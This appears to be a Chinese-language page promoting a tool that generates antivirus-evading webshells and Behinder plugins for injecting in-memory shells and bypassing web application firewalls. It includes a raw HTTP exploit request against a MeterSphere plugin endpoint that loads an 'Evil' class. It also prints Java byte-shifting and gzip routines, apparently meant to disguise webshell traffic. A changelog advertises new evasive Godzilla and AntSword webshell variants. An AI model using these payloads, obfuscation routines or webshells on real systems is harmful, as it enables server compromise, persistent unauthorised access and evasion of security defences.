一款生成各类免杀webshell及冰蝎插件支持注入内存马绕WAF工具-免杀工具

POST /plugin/customMethod HTTP/1.1Host: localhost:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36Connection: closeCookie: MS_SESSION_ID=75407ecc-369b-48a7-ae80-d000f0d1b700Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 65{  "entry": "org.metersphere.Evil",  "request": "aW5qZWN0"}

private byte[] Encrypt(byte[] data) {    byte[] dt = new byte[data.length];    for (int i = 0; i < data.length; i++) {        dt[i] = (byte) (data[i] + 1);    }    try {        java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream();        java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o);        g.write(dt);        g.close();        byte[] c = o.toByteArray();        byte[] ct = new byte[c.length];        for (int i = 0; i < c.length; i++) {            ct[i] = (byte) (c[i] + 1);        }        return ct;    } catch (Exception ignored) {    }    return data;}

private byte[] Decrypt(byte[] data) {    byte[] dt = new byte[data.length];    for (int i = 0; i < data.length; i++) {        dt[i] = (byte) (data[i] - 1);    }    try {        java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt);        java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length);        byte[] c = r(i);        byte[] ct = new byte[c.length];        for (int b = 0; b < c.length; b++) {            ct[b] = (byte) (c[b] - 1);        }        return ct;    } catch (Exception ignored) {    }    return data;}private byte[] r(java.io.InputStream i) {    byte[] temp = new byte[1024];    java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream();    int n;    try {        while((n = i.read(temp)) != -1) {b.write(temp, 0, n);        }} catch (Exception ignored) {    }    return b.toByteArray();}

兼容java.util 和 sun.misc 两个包jsp部分将404状态码修改为按钮，默认返回200状态码新增AntSword_jspjs无jsp标签webshell新增asmx_Godzilla_CSHAP_ASMX_AES_BASE64 webshel优化部分免杀代码